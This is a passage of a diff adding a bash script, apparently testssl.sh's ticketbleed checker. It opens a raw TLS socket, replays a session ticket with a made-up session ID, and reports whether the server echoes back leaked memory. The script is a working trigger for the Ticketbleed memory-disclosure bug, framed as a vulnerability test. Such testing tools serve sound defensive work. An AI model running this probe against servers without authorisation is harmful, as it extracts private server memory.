+     [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
+     ret=0
+
+     SOCKREPLY="$(dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"')" &
+     wait_kill $! $maxsleep
+     ret=$?
+     echo -n -e "$SOCKREPLY"       # this doesn't work as the SOCKREPLY above belngs to a bckgnd process
+     return $ret
+}
+
+sockread() {
+     dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"'
+}
+
+fixme(){
+     tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
+}
+
+
+fd_socket(){
+     if ! exec 5<> /dev/tcp/$NODE/$PORT; then
+          echo "$(basename $0): unable to connect to $NODE:$PORT"
+          exit 2
+     fi
+}
+
+close_socket(){
+     exec 5<&-
+     exec 5>&-
+     return 0
+}
+
+cleanup() {
+     close_socket
+}
+
+
+get_sessticket() {
+     local sessticket_str
+
+     sessticket_str="$(openssl s_client -connect $NODE:$PORT </dev/null 2>/dev/null | awk '/TLS session ticket:/,/^$/' | awk '!/TLS session ticket/')"
+     sessticket_str="$(sed -e 's/^.* - /x/g' -e 's/  .*$//g' <<< "$sessticket_str" | tr '\n' ',')"
+     sed -e 's/ /,x/g' -e 's/-/,x/g' <<< "$sessticket_str"
+}
+
+#### main
+
+parse_hn_port "$1"
+
+echo
+"$DEBUG" && ( echo )
+echo "##### 1) Connect to determine 1x session ticket TLS"
+# attn! neither here nor in the following client hello we do SNI. Assuming this is a vulnebilty of the TLS implementation
+SESS_TICKET_TLS="$(get_sessticket)"
+[[ "$SESS_TICKET_TLS" == "," ]] && echo -e "${green}OK, not vulnerable${normal}, no session tickets\n" && exit 0
+fd_socket $PORT
+
+"$DEBUG" && ( echo; echo )
+echo "##### 2) Sending ClientHello (TLS version 03,$TLSV) with this ticket and a made up SessionID"
+"$DEBUG" && echo
+send_clienthello "$SESS_TICKET_TLS"
+
+"$DEBUG" && ( echo; echo )
+echo "##### 3) Reading server reply ($HELLO_READBYTES bytes)"
+echo
+SOCKREPLY=$(sockread $HELLO_READBYTES)
+
+if "$DEBUG"; then
+     echo "============================="
+     echo "$SOCKREPLY"
+     echo "============================="
+fi
+
+if [[ "${SOCKREPLY:0:2}" == "16" ]]; then
+     echo -n "Handshake (TLS version: ${SOCKREPLY:2:4}), "
+     if [[ "${SOCKREPLY:10:6}" == 020000 ]]; then
+          echo -n "ServerHello -- "
+     else
+          echo -n "Message type: ${SOCKREPLY:10:6} -- "
+     fi
+     sid_detected="${SOCKREPLY:88:32}"
+     sid_input=$(sed -e 's/x//g' -e 's/,//g' <<< "$SID")
+     if "$DEBUG"; then
+          echo
+          echo "TLS version, record layer: ${SOCKREPLY:18:4}"
+          echo "Random bytes / timestamp:  ${SOCKREPLY:22:64}"
+          echo "Session ID:                $sid_detected"
+     fi
+     if grep -q $sid_input <<< "$sid_detected"; then
+          echo "${red}VULNERABLE!${normal}"
+          echo -n "  (${yellow}Session ID${normal}, ${red}mem returned${normal} --> "
+          echo -n "$sid_detected" | sed -e "s/$sid_input/${yellow}$sid_input${normal}${red}/g"
+          echo "${normal})"
+     else
+          echo -n "not expected server reply but likely not vulnerable"
+     fi
+elif [[ "${SOCKREPLY:0:2}" == "15" ]]; then
+     echo -n "TLS Alert ${SOCKREPLY:10:4} (TLS version: ${SOCKREPLY:2:4}) -- "
+     echo "${green}OK, not vulnerable${normal}"
+else
+     echo "TLS record ${SOCKREPLY:0:2} replied"
+     echo -n "Strange server reply, pls report"
+fi
+echo
+echo
+
+
+exit 0
+
+#  vim:tw=200:ts=5:sw=5:expandtab
+#  $Id: ticketbleed.bash,v 1.5 2017/04/16 18:28:41 dirkw Exp $